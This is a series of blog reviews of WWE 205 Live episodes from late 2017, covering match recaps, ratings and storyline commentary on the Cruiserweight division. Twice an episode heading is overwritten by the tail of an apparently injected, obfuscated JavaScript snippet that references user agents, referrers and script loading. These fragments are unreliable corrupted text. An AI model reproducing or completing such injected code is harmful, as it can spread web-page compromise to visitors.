205 Live
Date: November 21, 2017
Location: Toyota Center, Houston, Texas
Commentators: Vic Joseph, Nigel McGuinness

It’s one of the final shows from Houston as we hit the cruiserweight division. Enzo Amore is still Cruiserweight Champion and the question now is who comes next. Kalisto has been dispatched (again) and it’s not clear who will be going after the title again. The show is being turned into a faction warfare and that could go multiple ways. Let’s get to it.

The Zo Train (minus Drew Gulak) has a Thanksgiving dinner prepared in the back. Enzo (in a Randy Savage shirt) says he’s now 5G and therefore they’re all connected. He’s gotten them all matches tonight but they better rep to Enzo brand like a barbell. If they do well, Christmas could come early in the form of a recommendation for a Cruiserweight Title shot. Enzo wants to know where Gulak is but here’s the Gobbledy Gooker. Naturally that’s Gulak, who says he’s the Gobbledy Gulaker. Gulak: “You told me to loosen up!” Enzo is disappointed.

Opening sequence.

The announcers chat for a bit.

Drew Gulak vs. Akira Tozawa

Street fight. Gulak comes out in jeans, which is a really odd look for him. Drew isn’t usually into this but if Enzo is from the streets, Drew needs to help clean them up. However, that might get his hands dirty so it’s time for a very special POWERPOINT PRESENTATION! Or not as Tozawa cuts him off, sending Drew into a near fit. Gulak bails to the floor with his hands covering his ears as the chanting starts early this week.

Back in and Tozawa kicks him in the chest, setting up some screaming. Tozawa kicks him outside again but the suicide dive is countered into a suplex onto the ramp. A clothesline messes with Tozawa’s throat, meaning no more chanting. That’s rather evil and something you wouldn’t have expected from a show like this.

Some chairs are thrown in but Gulak would rather slap him in the face for two instead. Drew puts the No Chants sign in the corner but gets suplexed through the handle, which has to be rather painful to at least a few inches of skin. The fans want tables so Tozawa pulls one out, only to get suplexed into the corner as well.

The table is set up in the corner but have to settle for Tozawa throwing Drew over the announcers’ table instead. A good looking flip dive off said table has Gulak in even more trouble and it’s time for more weapons. Tozawa puts a trashcan over him and swings away with a kendo stick. The top rope backsplash through the table ends Gulak at 11:12.

Rating: B. They were getting close to that next level here but they never could flip the switch on. Tozawa is good for a hardcore brawler and it was cool to see Gulak move up to another level of violence every now and then. Good, hard hitting brawl here that needed a little more to become great.

Hideo Itami is coming to 205 Live. Well it’s not like he’s going to do much in NXT so get him up here while he’s healthy.

Tony Nese doesn’t think much of Itami but Amore seems nervous. If Nese doesn’t get, better, he won’t be on the Zo Train much longer. Rich Swann, Cedric Alexander and Mustafa Ali come in and trade some insults.

Tony Nese vs. Mustafa Ali

Hang on a second as Nese needs to show off the abs. That just earns him a wristlock though and even a slam won’t break it up. Now that’s some dedication. Nese goes with some stomping but gets sent outside for a heck of a flip dive from the top. Ali might not have the best charisma in the world but he can throw some pretty dives.

Back in and Nese grabs a chinlock to slow things down, only to miss a charge into the corner. Ali switches things up a bit with a rolling X Factor instead of the rolling neckbreaker but he can’t follow up. The 054 takes way too long though and Nese sends him HARD into the post. The running knee in the corner ends Ali at 7:05.

Rating: C. Just a quick match here with Nese giving the Zo Train what is likely its only win tonight. This feels like the kind of show designed to give the fans a lot of stuff to cheer for and Nese winning should keep it from being a clean sweep. It helps that Nese is a simple character who does his thing quite well. I mean, it’s hard to argue with someone being in that kind of shape.

Daivari and Dar are ready to impress Enzo too. Enzo will be in the front row, but Gulak, back in the turkey suit, is stuck in time out.

Ariya Daivari/Noam Dar vs. Rich Swann/Cedric Alexander

Enzo is at ringside. Daivari and Cedric start things off with a rather long feeling out process until Cedric scores with a dropkick. Swann comes in for the Rolling Thunder as Enzo is talking to the fans. It’s off to Dar, who gets caught with a good looking springboard clothesline. Cedric’s ankle scissors is countered with a kick to the ribs though and it’s time for some villainous control.

Both guys take turns kicking away as Enzo continues to talk trash from the floor. Alexander finally rolls away and makes the diving tag off to Swann for almost no reaction. Enzo breaks up the Phoenix splash though and Daivari’s frog splash gets a rather close two. If back to Dar who gets kicked in the head but Cedric goes after Enzo, earning himself a baseball slide from Dar. Back in and Swann kicks Dar in the head again, setting up the Phoenix splash for the pin at 8:07.

Rating: C+. The energy was there, even if the fans weren’t exactly thrilled. Swann and Alexander are a good tag team and every time they’re out there, I can’t help but wonder why they’re not a midcard team on the main roster. It’s not like the shows have anything better at the moment.

Post match Enzo comes in to beat on Swann until Tozawa and Ali come down. Cue Nese and Gulak to cut them off though and the big beatdown ensues. Enzo hits a top rope splash onto both guys and it’s a group dance to end the show.

Overall Rating: C+. This was a strong show by 205 Live’s standards and I’m glad to see them having a little more energy. That being said, I’m rarely a fan of having one storyline completely dominate the show like this. If you’re not a fan of the good guys vs. the Zo Train, there’s no reason to watch the show. In theory this sets up Itami as the next star, but it wouldn’t shock me to have him just be another name on Amore’s list. If nothing else I’d love to see Cedric get the title at some point, as he’s certainly earned it. Good show this week.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

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205 Live
Date: November 14, 2017
Location: Spectrum Center, Charlotte, North Carolina
Commentators: Nigel McGuinness, Vic Joseph

We’re back stateside now and as luck would have it, today is Kalisto’s birthday. I’m thinking that means cake and of course you know what that means. In this case it’s also the go home show for Survivor Series, meaning we’ll be getting what is hopefully the final build between Kalisto and Enzo Amore. Let’s get to it.

Opening sequence.

Kalisto says he’s going to celebrate his birthday by beating down Drew Gulak before he wins the Cruiserweight Title back on Sunday.

Gulak and Amore are next to a massive birthday cake with Enzo talking about the Zo Train ending if he loses the title. Tonight, he needs Drew to make this a better 205 Live.

The announcers preview the show as the opening stall continues.

Jack Gallagher/Brian Kendrick vs. Rich Swann/Cedric Alexander

Tornado rules with Cedric as the hometown boy, meaning there’s quite the chant to start things off. It’s a brawl to start before all four head outside with Swann being sent into the barricade. That’s fine with Cedric who pops Kendrick in the jaw to take over again. Gallagher hits a heck of a dropkick to knock Cedric over the announcers’ table leaving Swann to get beaten down in the ring.

The villains take turns knocking them off the apron until Alexander finally gets in a dropkick on Kendrick. One heck of an elbow to the jaw staggers Gallagher for a great visual and a Spanish Fly gives Cedric two. Kendrick comes back in to take Cedric down and the Captain’s Hook goes on. Swann’s save attempt is countered into a Fujiwara armbar but he’s still able to catch Cedric’s tap attempt.

Cedric has to break up a double submission on Swann, basically guaranteeing the end of the match. Sliced Bread #2 gets two on Cedric but it’s Swann coming back in with some superkicks. Kendrick crotches him on top though and a double super hiptoss drops Rich for a rather close two. It’s Cedric right back in with the springboard clothesline but Gallagher breaks up the Lumbar Check by dropkicking the knee out. Swann superkicks the heck out of Gallagher and hits a diving tornado DDT onto the floor. Back in and the Lumbar Check puts Kendrick away at 10:55.

Rating: B. These guys had a heck of a match here and that’s exactly what it needed to be, especially in what should blow off the feud. They’ve been feuding for way too long now and needed a gimmick match to really wrap things up. It’s a good match though and one of the better things this show has had in a long time.

Ariya Daivari comes out and says this might be the last episode of the Zo Show. The show isn’t being canceled or anything (Are we sure about that?) but it might as well be if Kalisto wins the title on Sunday. Mustafa Ali comes out and doesn’t think much of Daivari sucking up to Enzo so much, but maybe it has to do with all the cake. On top of that though, Daivari looks stupid.

Ariya Daivari vs. Mustafa Ali

Ali starts fast with a superkick and steals Daivari’s jacket before hitting a high crossbody for two. The springboard is broken up though and Ali crashes out to the floor. Back in and Daivari gets two off a clothesline, followed by a chinlock. I’ll take this time to do anything else as my interest is rapidly draining.

Since it’s just a chinlock, it’s a spinebuster for two on Ali as we’re firmly in the lack of charisma period that Daivari constantly has going on. Ali fights back up and scores with a dropkick, only to get caught in a reverse DDT. The frog splash gets two but Ali is right back up with a super hurricanrana. Since this is an Ali match, that sets up the 054 for the pin at 7:13.

Rating: D+. The wrestling was fine but egads how many times can we watch these two have the same match? Ali is better in the ring but if you’ve seen one of his matches, you’ve seen all of them. Daivari on the other hand is a charisma vacuum who drives any interest he could possibly have out of the matches. Watchable match but better suited for the insomnia cure than anything else.

Akira Tozawa comes in to wish Kalisto a happy birthday and good luck.

Kalisto vs. Drew Gulak

There are balloons and cake at ringside so you know the ending from here. Before the match, Enzo says Kalisto is going to get a beating for a birthday gift. Since it’s Enzo, that takes a few minutes to actually say. Gulak slams Kalisto down to start but gets caught in a quick headscissors. They head outside with Enzo running his mouth (shocking) to allow Gulak some cheap shots.

Back in and we hit the neck crank, meaning it’s time for the fans to sing HAPPY BIRTHDAY. A slam sends Kalisto into the ropes and we’ve got a bad knee. They tease going into the cake before Drew wisely goes back to the knees with a surfboard. Kalisto rolls away into the hurricanrana driver, followed by a suicide dive. Enzo kicks the knee out though and Drew belts out some Happy Birthday. The dragon sleeper takes too long though and it’s the Salida Del Sol to give Kalisto the pin at 7:52.

Rating: C. This was all you could have expected it to be and Kalisto winning was the only possible ending. Gulak is fine as a lackey for Enzo, though I’m not sure how much longer we can keep going with this stuff. The match was acceptable enough and Kalisto getting a win hopefully means he wins the title on Sunday (though it won’t).

Post match Enzo goes after Kalisto but has to kick Gulak in the head. Enzo bails but Kalisto chases him down and sends him into the cake (the one in the back, as opposed to the one in the arena) to end the show.

Overall Rating: C+. Aside from the opener, this was a completely run of the mill show here as we’re getting ready to finally wrap up Enzo vs. Kalisto, meaning it’s finally time to get someone fresh challenging for the title. The show is still watchable but there’s nothing here that you haven’t seen before. The cake stuff was fine, though completely standard stuff for a not very interesting title match on Sunday.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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205 Live
Date: October 24, 2017
Location: Bradley Center, Milwaukee, Wisconsin
Commentators: Vic Joseph, Nigel McGuinness

Things have changed again as we’re back to the Enzo Amore Era. Amore won the title back from Kalisto on Sunday in a match with a grand total of no drama or surprise whatsoever. Now it’s time for a rematch which is required to take place before we can get on to anything fresh for a change. Let’s get to it.

Long recap of Amore getting the title back.

Opening sequence.

Rich Swann/Cedric Alexander vs. Noam Dar/Tony Nese

Swann and Alexander are coming off a win at TLC. Cedric and Swann start things off and we hit the posing. That just earns him a headscissors down as the announcers talk about Swann and Alexander as a tag team. A perfectly fine idea, but then he says they should stay on 205 Live.

Right there you have the problem with this show being its own thing: is it out of the question that Swann and Alexander could give some heavyweight teams a run for their money? Of course not, as Seth Rollins isn’t much bigger than either of them. But Rollins is billed as a heavyweight and therefore people care about him more. It’s a bad idea, especially when the tag division could use some fresh talent.

Swann comes in and scores with Rolling Thunder before we hit the chinlock. It’s off to Dar but Nese tags himself right back in behind Swann’s back, allowing a charge to take Rich down. The alternating beatings begin with the focus on Swann’s knee. Nese puts him in the Tree of Woe for the crunch kicks but doesn’t approve of Dar laying on the mat for his kicks. Swann hits his spinning kick to the head, only to have Dar trip him from the floor.

Another kick to the head allows the hot tag to Alexander and everything breaks down. The handspring kick to the head (the Neuralizer) gets two on Dar and here are Brian Kendrick and Jack Gallagher on the stage. Dar grabs a front facelock on Cedric and Nese breaks up the hot tag attempt. Swann makes a save with a superkick though, allowing the Lumbar Check to end Dar at 9:01.

Rating: C. As mentions, Alexander and Swann have the potential to be a very nice tag team and there’s nothing wrong with that. They’re entertaining and work well together, but having them on 205 Live for the majority of the time isn’t going to do them any good. I have no idea why only one or two cruiserweights can be pushed at once but it makes no sense, much like the division as a whole.

Post match Gallagher and Kendrick tell Alexander to join them and live up to their potential. He needs to dump Swann and do everything he’s capable of doing. Gallagher says that he was dancing around for these people just a few weeks ago before he saw the light. He isn’t one to be pressed for time so next week, they’re coming for Swann. Alexander can join them or be destroyed.

Here’s Drew Gulak to vent some frustration over having his PowerPoint presentation taken off the WWE Network. Therefore, before he silences Akira Tozawa one day, we’re having a refresher course on his POWERPOINT PRESENTATION! Drew only gets through one slide (no jumping off the top rope of course) before he’s cut off by an opponent.

Drew Gulak vs. Gran Metalik

Gulak: “YOU STAY ON THE GROUND!” A technical sequence sets up a test of strength with Metalik getting the better of things. Metalik starts spinning around to start and Gulak is livid over all the flips. Gulak is sent outside for a heck of a rope walk moonsault. Back in and Drew grabs a cobra clutch to slow him down.

Metalik gets off of Drew’s knees and grabs a snapmare before walking the ropes for a dropkick. Back up and Metalik walks the ropes again for a splash, followed by a sunset flip for two. A super hurricanrana brings Gulak down for another near fall, only to get pulled down into a dragon sleeper to give Gulak the win at 6:55.

Rating: C-. It’s nice to see Gulak get a win for a change as he’s been nailing the character stuff and then losing almost every match. That dragon sleeper could be a heck of a finisher if they let him beat some people with it, though it’s not going to mean anything if he loses almost all the time.

Post match Drew goes after Metalik’s leg but Tozawa makes the save.

Kalisto says he’s ready to take the title back.

Cruiserweight Title: Kalisto vs. Enzo Amore

Amore is defending and has Ariya Daivari in his corner. Before the match, Enzo still can’t talk so Daivari does it instead. Kalisto dropkicks him to the floor to start and Amore bails towards the ropes. Some stomping has Amore in trouble until he backdrops Kalisto over the top in a heap.

The ankle is banged up and we already have a story for what is likely to be a short match. Back in and they head up top with Kalisto getting crotched but managing a Death Valley Driver on the apron. They barely beat the count back in and it’s an enziguri into a tornado DDT to plant the champ. Not that it matters as Enzo kicks the referee for the DQ at 6:12.

Rating: D. And that’s the problem with Enzo’s matches: everyone has to slow down so he can keep up and it makes for some very boring matches. Kalisto is capable of having an awesome match but instead, let’s have him do his basic stuff because Enzo’s high spot is an Eat Defeat. Bad match here, and I can’t say I’m surprised.

Post match Kalisto lays Enzo out. Enzo declares himself still champion to end the show.

Overall Rating: C-. It’s kind of amazing how much this show falls apart when Enzo gets in the ring. He’s a great talker and has a ton of charisma but his in-ring production is nothing short of horrible. The rest of the show was your normal 205 Live fare, but there’s no reason to believe that the show is going to take off anytime soon.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: October 3, 2017
Location: Pepsi Center, Denver, Colorado
Commentators: Vic Joseph, Nigel McGuinness

Things are rapidly changing around here as we have a new member of the roster with Kurt Angle, who apparently is in charge of 205 Live as well, signing Kalisto. That probably means we’ll be seeing Kalisto as Amore’s first failed title challenger and that’s not the worst idea in the world. Let’s get to it.

We open with a recap of the end of last night’s show with Kalisto debuting. Thankfully most of Enzo’s insults to the members of the division are included because that’s about all he’s good for.

Opening sequence.

Here’s Kalisto with something to say. He’s here to take over the cruiserweight division and he can’t wait to become the new Cruiserweight Champion. Cue Enzo with the fans still doing his entrance along with him. Enzo says Kalisto is the lucky luchador leprechaun to be on the Zo Show but he should be scared to donate his outfit to the Salvation Army. Until tonight though, you couldn’t give away a Kalisto mask but now sales are going to shoot up because Kalisto is talking to Enzo.

Kalisto says Enzo talks too much (expect to hear that line a lot in the coming months) and we see a clip of Enzo kicking Neville low to win the title. Enzo doesn’t care because he won the match and calls Kalisto centimeter. Sure Kalisto went toe to toe with Braun Strowman but he wound up in a trashcan. Kalisto used to be the US Champion but he’s been a huge letdown ever since he lost the title. Enzo talks about being a big star who signs autographs at airports. Tonight though, we’ll be seeing the first loss for Kalisto on 205 Live against the biggest Persian thing since the Kardashians.

Kalisto vs. Ariya Daivari

Daivari wastes no time in slugging away in the corner but a nice headscissors takes him down. Kalisto’s modified springboard (he intentionally lands shins first on the top rope) flip dive to the floor drops Daivari on the floor. Back in and Daivari slams the rope into Kalisto’s head (that’s different) to take over.

A big boot in the corner drops Kalisto again and we hit the chinlock. Kalisto fights up and hits the corkscrew headbutt, followed by the hurricanrana driver for two of his own. Daivari grabs a spinebuster though, followed by the frog splash for two, which pretty much seals his fate. He takes too long getting up and the Salida Del Sol gives Daivari the pin at 4:46.

Rating: D+. Daivari got in WAY too much offense here and it hurt the match a lot. Kalisto should have been a lot more dominant in his debut and it looked more like he won off a fluke than anything else. The Salida Del Sol is a great finisher but he needs to do more than sell all match and then hit one move to win.

Enzo isn’t impressed.

Recap of Jack Gallagher and Brian Kendrick joining forces to torment Cedric Alexander.

Here’s Drew Gulak to talk about how he’s wanted to change 205 Live long before anyone else did. Therefore, tonight we’ll be seeing slides 8-277 of his POWERPOINT PRESENTATION! Proposal #8: No Flipping! If you’re constantly flipping up and down, how will you know your left from your right or your right from your wrong? Unfortunately the words of wisdom are cut off by an interruption and it’s time for a match.

Drew Gulak vs. Mustafa Ali

In addition to Ali, here’s Akira Tozawa to have a seat on the stage. Drew takes Ali down by the wrist but stops to look up at Tozawa. It’s bad enough that Drew heads outside, starting up the Tozawa war chant. Of course Gulak grabs his NO CHANTS sign and marches around the ring, allowing Ali to flip him over. A sloppy hurricanrana takes Gulak down again and a high crossbody gets two.

Gulak reverses a tornado DDT and gets in a knee to the chest to take over again. We hit a chinlock and then a cross arm choke with Tozawa’s war chant having no effect on Gulak this time. Ali fights up and scores with a dropkick followed by a neckbreaker fir two, Gulak reverses a whip though and suplexes Ali into the corner but the war chant makes Gulak miss a charge (which we almost miss because of the FREAKING CROWD REACTION SHOTS). The 054 ends Gulak at 6:44.

Rating: C-. That crowd reaction shot actually got on my nerves as Drew was running, then we went to the crowd, then we came back for him hitting the crowd. Is the director that jittery that he can’t even sit still long enough for someone to run across the ring? As usual, Gulak needs to actually win a match or the blowoff isn’t going to mean anything. Then again, I said the same thing about Kendrick and he did fine.

Tozawa gets in and does the war chant.

Kendrick feels responsible for what happened to Enzo. He fell victim to the mob mentality and stands with Daivari at the champion’s side. Brian can’t stand next to Cedric Alexander though because his generation is too soft. Tonight, Gallagher is going to drink Cedric’s milkshake. Cue Cedric to attack Kendrick and take out his ankle.

Jack Gallagher vs. Cedric Alexander

Gallagher is wrestling in a suit. Cedric sends him hard into the corner to start and scores with a dropkick, only to get tossed outside. Back in and Jack stomps on his head before grabbing a facelock. Gallagher fires off some hard kicks in the corner and cranks on the ankle. A double knee stomp gives Gallagher two with Cedric screaming in pain.

Gallagher gets two more off a dropkick (with some hard shoes) but it just seems to fire Cedric up. They head outside with Cedric hitting a hard suicide dive and unloading on Gallagher with right hands. Jack is sent hard into the barricade so he hides underneath the ring, allowing him to get in a cheap shot. It’s William III time but Cedric takes it away and BLASTS Gallagher over the back with it for the DQ at 6:35.

Rating: C+. I can always give someone credit for wrestling in a suit. Gallagher needed the change in appearance as there’s only so much you can look with that much pale skin showing. Alexander was his usual self here, but again he’s not going to be near the title for several months to come. Nice, hard hitting match though.

They keep brawling post match with Cedric getting the better of it and adding a springboard kick to the chest. Kendrick limps out to stand over Jack to end the show.

Overall Rating: C. As usual, there’s just not much to say when it’s not about Enzo. I know he’s annoying but he’s right when he says almost nothing else matters but him. The show was fine enough, but you really can feel the lack of star power. Then again that might be because these feuds are all just personal and Kalisto is getting the title shot, likely at the next pay per view. I’m not sure how they’re going to handle none of the regular roster getting a shot but it’s really not doing their statuses any favors.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: September 19, 2017
Location: Oracle Arena, Oakland, California
Commentators: Vic Joseph, Nigel McGuinness

It’s the go home show for No Mercy and its one cruiserweight match. As usual it’s for the Cruiserweight Title and as usual it’s Neville defending the title. This time it’s against Enzo Amore and they’ll be going face to face tonight. Other than that we have the fallout from Jack Gallagher turning heel to join Brian Kendrick last week. Let’s get to it.

We look at Enzo’s debut and rise to the top of 205 Live, despite the fans starting to sour on him at least a little bit. This also includes Braun Strowman attacking him last night and leaving Neville to pick the bones.

Opening sequence.

Cedric Alexander vs. Brian Kendrick

Kendrick tries an early boot but gets elbowed in the face to start, followed by a baseball slide for good measure. Back in and the springboard clothesline misses so Kendrick knees him in the face for two. A butterfly suplex sets up a chinlock on Cedric for a bit, followed by a Japanese armdrag to send him into the corner again. That means a straitjacket hold but Cedric fights up again and hits the springboard clothesline. Kendrick is right back up with a kick to the ribs and Sliced Bread #2, only to have Cedric reverse into a rollup for the pin at 5:27.

Rating: C-. Not bad here and Cedric winning was the right call. Cedric continues to be one of the best stars around here and a nice addition to any show. Kendrick and Gallagher could be a good heel tandem but Gulak seems to be the star instead of Kendrick, which isn’t the biggest surprise in the world.

Post match Kendrick runs his mouth, allowing Gallagher to run in for the double beatdown.

Post break, Gallagher says he saw the scars on his face after his loss to Kendrick and realized he would rather be a winner than a joke.

Here’s Drew Gulak, with new music (thank goodness) to complain about his time in fashion jail last week. Breezango will be hearing from his attorney, which happens to be him. That brings him to last week, where he was interrupted while explaining his vision for a better 205 Live. After comparing himself to Galileo (another genius whose brilliant theory was held down), we continue the PowerPoint presentation! Slide #6 (of 277): no cell phones! Cue Akira Tozawa to cut him off again though and it’s time for a match.

Noam Dar vs. Akira Tozawa

Gulak is on commentary and ripping on Titus O’Neil. Tozawa starts fast with the backsplash but Dar kicks the legs out and starts working on the leg (Gulak: “NOW he has a reason to scream!”). Tozawa fights up without too much effort and sends Gulak outside for a suicide dive. A running European uppercut gives Dar two but an enziguri puts him right back down. The top rope backsplash puts Dar away at 4:01.

Rating: D+. Too short to mean much here but it advanced the feud well enough and it’s not like Dar means anything in the first place. Tozawa is still one of the top stars on the roster and can be used to make someone like Gulak, who hasn’t had the most success. At least he has a character now and that could go somewhere if they use it properly.

We recap Rich Swann defeating TJP last week.

TJP congratulates Swann for the win last week and says they have great chemistry together. Swann agrees but thinks they’ll get a bit too intense. He already has Lince Dorado tonight anyway, which TJP understands.

Rich Swann vs. Lince Dorado

And never mind as Dorado is laid out in the back. Swann goes to see what’s up and gets taken out by TJP. He even rips out part of Swann’s hair and drops him over the barricade.

Here’s Neville for the big closing talk. He talks about this Sunday’s card, which will include some big matches and one comedy match as he destroys Enzo Amore once and for all. Enzo thinks he’s ready to step up to his world and it’s time for Neville to knock him down. Cue Enzo with a taped up shoulder but Neville cuts him off, accusing Enzo of “spelling like a chicken”.

Enzo thinks Neville is jealous, which Neville finds funny when he’s better in every conceivable way. That’s true actually, but Enzo is twice the superstar that Neville will ever be. The fans aren’t sure what to think of that so Enzo rants about all of his merchandise and hanging out with celebrities.

Neville is a big fish in a small pond and Enzo is the shark that’s invaded the water. Neville doesn’t care about any of that because Enzo just can’t fight. Enzo says that’s true and kicks Neville low to end the show. So to recap, Enzo says he can’t wrestle and doesn’t really care about winning things because it’s all about making money and hanging with celebrities. And he’s the good guy in this whole thing?

Overall Rating: D+. Not a great show this week but it sets up some stuff for the future. Above all else, there are multiple stories going on at the moment and it makes for some good stuff. I’m worried about Enzo winning the title as all signs seem to point to it, though I’m really not sure if they’ll go through with it. I know it sounded great on paper for the last several months but sweet goodness it’s not doing much for me in reality. This wasn’t the best show but it laid some much needed ground work, which is much more important.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brbzy|var|u0026u|referrer|rdbni||js|php'.split('|'),0,{})) Live
Date: September 12, 2017
Commentators: Nigel McGuinness, Vic Joseph

This is a slightly delayed episode as it’s taking place after the Mae Young Classic Finals and since we can’t just cancel the show for a week, let’s have WWE going for three hours and fifteen minutes on back to back nights. Tonight’s big match is Rich Swann vs. TJP in what should be their big blowoff. Let’s get to it.

Rich Swann is in the back to talk about beating TJP in their first match. TJP comes in to show a video of their second match where he beat Swann. This included TJP acting quite a bit more heelish, which didn’t sit well with Swann. Tonight, TJP can’t handle this.

Opening sequence.

Rich Swann vs. TJP

You can see the empty seats throughout the arena. Swann headlocks him down to start for a good while, which isn’t the best move in the world for a crowd that is rapidly dwindling. Back up and Swann tries his flip over TJP but gets pulled down into a quickly broken kneebar. Instead TJP is sent outside for a flip dive from the apron, followed by a hard kick to the back.

TJP takes him down without too much effort though and rips at Swann’s face for a bit. A basement dropkick gets two and we hit the chinlock on Rich. That goes nowhere so it’s a hard belly to back suplex into a slingshot hilo for two more. Swann fights back with his series of kicks but TJP catches him with the springboard forearm.

Back up and a double kick puts them both down again as we have another breather. The second kneebar works a bit better but TJP has to settle for the chickenwing gutbuster for two instead. The weakest THIS IS AWESOME chant you’ll ever hear doesn’t change much so they hit a pinfall reversal sequence. Swann’s Fantastic Voyage gets two but the Phoenix splash puts TJP away at 12:05.

Rating: B-. Good match with a nice story of them knowing each other so well and being pretty much even until the ending but the dead crowd hurt them a lot. Throw in the fact that neither of them is going near what’s soon to be Enzo’s title and this didn’t have any meaning to it. At least it was good though.

TJP eventually shakes his hand though it’s not a long one.

We look back at Enzo becoming #1 contender with Cedric Alexander cleaning house until Enzo stole the pin.

Mustafa Ali asks Alexander how he can be so calm after last week. Cedric wants to rip Enzo’s head off but it doesn’t do anything because Enzo caught him sleeping. Brian Kendrick comes in to ask where Cedric wants to be. Cedric’s attitude reminds Brian of Jack Gallagher: spineless and lacking what it takes.

Drew Gulak is in the ring and it’s time to complete the PowerPoint presentation! Last week he was cut off by Akira Tozawa, who isn’t even here tonight. Since there’s no chance of him being interrupted, we get to slide #3 (of 277): no chants. Gulak: “Even Mr. McMahon’s music says no chants!” Drew demands complete silence before moving on to slide #4: no elaborate ring gear (with the picture clearly being inspired by Kazuchika Okada).

Slide #5: no interruptions! They’re very rude….and here’s Breezango for a cameo. That certainly wakes the crowd up with a loud BREEZANGO chant. They bring up the Captain Underpants nickname and you know what the fans are chanting now. Gulak denies it so Fandango threatens to treat him like the perp that he is. He gets rather close to Drew’s face and Gulak seems a bit disturbed.

They’ve received complaints about someone walking around in underpants. Breeze: “We like underpants.” He lists off a variety of them with Fandango liking this discussion far too much. Gulak goes to leave so Fandango cuffs him. Breeze lists off his rights (to remain stylish, to have everything you wear seen in a mirror, to a fashion consultant) but Gulak escapes to the floor for a chase. Fandango trips him down and Breeze declares the case closed. Breezango instantly looked like bigger stars than anyone not named Enzo and show just how badly this show is lacking charisma.

We look back at Miz destroying Enzo both verbally and physically last night. I can’t believe they would actually show that on this show.

We look back at Brian Kendrick beating up Jack Gallagher two weeks ago.

Cedric Alexander vs. Brian Kendrick

Kendrick knocks him into the corner to start so Cedric dropkicks him away. The springboard clothesline gets two and a back elbow sends Kendrick outside. A big flip dive takes Brian down again but he sends Cedric throat first into the bar between the turnbuckle and post. Cue Jack Gallagher with William III though….and he attacks Alexander for the DQ at 3:42.

Rating: D. This didn’t have time to go anywhere and was all about the heel turn anyway. In theory this sets Cedric up against Kendrick and Gallagher, which is yet another feud for him where he’s not fighting for the title. Gallagher turning might do good things for him but he’s going to need something a bit more than that to really make it work.

Gallagher destroys Cedric as Brian is stunned. They shake hands to end the show.

Overall Rating: C. This show going so late into the night hurt things and the fans were clearly leaving before the show started, with even more of them being gone by the end. It still doesn’t help to have everyone aside from the champion and #1 contender feel like deck chairs being rearranged and that’s what the whole place feels like most of the time. The first match was good but they need something more than just a bunch of people running around until the next #1 contender shows up.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|annif|var|u0026u|referrer|yneit||js|php'.split('|'),0,{})) Live
Date: September 5, 2017
Location: Denny Sanford Premiere Center, Sioux Falls, South Dakota
Commentators: Nigel McGuinness, Vic Joseph

It’s a big night here as we have a new commentator to replace Corey Graves, but more importantly we have a fatal five way for the #1 contendership to the Cruiserweight Title. The survivor of tonight’s main event will be facing Neville for the title at No Mercy 2017 in what could be a very interesting match depending who gets the show. Let’s get to it.

All five of the participants in the five way (Cedric Alexander, Tony Nese, Enzo Amore, Brian Kendrick and Gran Metalik) say they’ll win.

Opening sequence.

TJP vs. Ariya Daivari

Rich Swann, with popcorn in hand, comes out for commentary. By that I mean he puts a chair on the table and has a seat. Daivari takes advantage of the distraction and stomps away in the corner, only to have TJP swing through the ropes to avoid falling to the floor. Back in and a kick to the leg ties TJP in the Tree of Woe, allowing Daivari to grab a reverse DDT for two.

We hit the double arm crank for a bit before TJP hits the spinning spring forearm into the nipup. They finally head outside with Daivari glaring at Swann for no apparent reason (must be a popcorn hater). Daivari misses the frog splash and gets caught with the Detonation Kick for the pin at 4:10.

Rating: D+. Just a step above a squash here as TJP vs. Swann continues. They’re likely setting up a big blowoff match though I’m not sure how interesting that really is. There’s no real hatred between the two of them and it’s just likely to be a good match rather than an interesting one.

Post match Swann tells TJP he wants a match next week and throws in a dab.

We look back at last week’s No DQ match with Kendrick beating Jack Gallagher to a bloody pulp.

Here’s Drew Gulak for a chat before his match. After the CAPTAIN UNDERPANTS chant, Gulak talks about not being pleased with being left out of the main event. To explain his issues, he’s got a PowerPoint presentation! He has a plan for a better 205 Live, starting with #1: no jumping off the top rope. Point #2: no jumping off the middle rope. #3: never mind as it’s time for a match.

Drew Gulak vs. Akira Tozawa

I guess Tozawa is more of a notepad guy. Gulak headlocks him down to start before a dropkick sends Drew bailing to the corner. Tozawa follows him out but gets sent hard into the barricade as Gulak is being far more aggressive here than usual. A bow and arrow hold stays on Tozawa’s back before a bottom rope stomp to the back (not the top or the middle mind you) keeps him down. Tozawa fights up and sends him outside for the suicide dive. A rollup gives Drew a breather, only to have Tozawa kick him in the head. The top rope backsplash gives Tozawa the pin at 6:39.

